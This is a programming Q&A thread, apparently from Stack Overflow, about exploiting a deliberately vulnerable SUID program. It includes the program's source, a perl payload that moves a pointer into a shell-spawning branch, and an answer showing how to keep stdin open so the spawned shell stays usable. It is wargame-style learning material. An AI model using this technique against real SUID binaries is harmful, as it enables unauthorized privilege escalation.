gdb exiting instead of spawning a shell

3.7k views Asked by At

I am trying to exploit a SUID program.

The program is:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }

void print(unsigned char *buf, int len)
{
    int i;
    printf("[ ");
    for(i=0; i < len; i++) printf("%x ", buf[i]); 
    printf(" ]\n");
}

int main()
{
    unsigned char buf[512];
    unsigned char *ptr = buf + (sizeof(buf)/2);
    unsigned int x;

    while((x = getchar()) != EOF) {
            switch(x) {
                    case '\n': print(buf, sizeof(buf)); continue; break;
                    case '\\': ptr--; break; 
                    default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
            }
    }
    printf("All done\n");
}

We can easily see that if we somehow change ptr's contents to some address that starts with CA then a new shell will be spawned for us. And as ptr normally holds some address starting with FF the way to decrease it(ptr) is to enter \ character. So I make a file with 0x35000000 '\' characters, and finally 3 'a' at the end of the file

perl -e "print '\\\'x889192448" > file     # decimal equivalent of 0x35000000
echo aaa > file        # So that e() is called which actually spawns the shell

And finally in gdb,

run < file

However instead of spawning a shell gdb is saying

process <some number> is executing new program /bin/dash
inferior 1 exited normally

And then back to gdb prompt instead of getting a shell. I have confirmed by setting breakpoints at appropriate locations that ptr is indeed starting with CA before setresuid() gets called.

Also if I pipe this outside of gdb, nothing happens.

./vulnProg < file

Bash prompt returns back.

Please tell me where am I making mistake.

1

There are 1 answers

2
Michael Anderson On BEST ANSWER

You can see the problem by compiling a simpler test program

int main()  { execlp("/bin/sed", "-e", "s/^/XXX:/", NULL); }

All this does is start a version of sed (rather than the shell) and converts input by prepending "XXX:".

If you run the resulting program, and type in the Terminal you get behaviour like this:

$./a.out 
Hello
XXX:Hello
Test
XXX:Test
^D

Which is exactly as we'd expect.

Now if you feed it input from a file containing "Hello\nWorld" you get

$./a.out < file 
XXX:Hello
XXX:World
$

And the application exits immediately, with the input stream to the application being closed when the input file has all been read.

If you want to provide additional input, you need to use a trick to not break the input stream.

{ cat file ; cat - ; } | ./a.out

This will put all the input from file into a running ./a.out and then read from stdin and add that too.

$ { cat file ; cat - ; } | ./a.out
XXX:Hello
XXX:World
This is a Test
XXX:This is a Test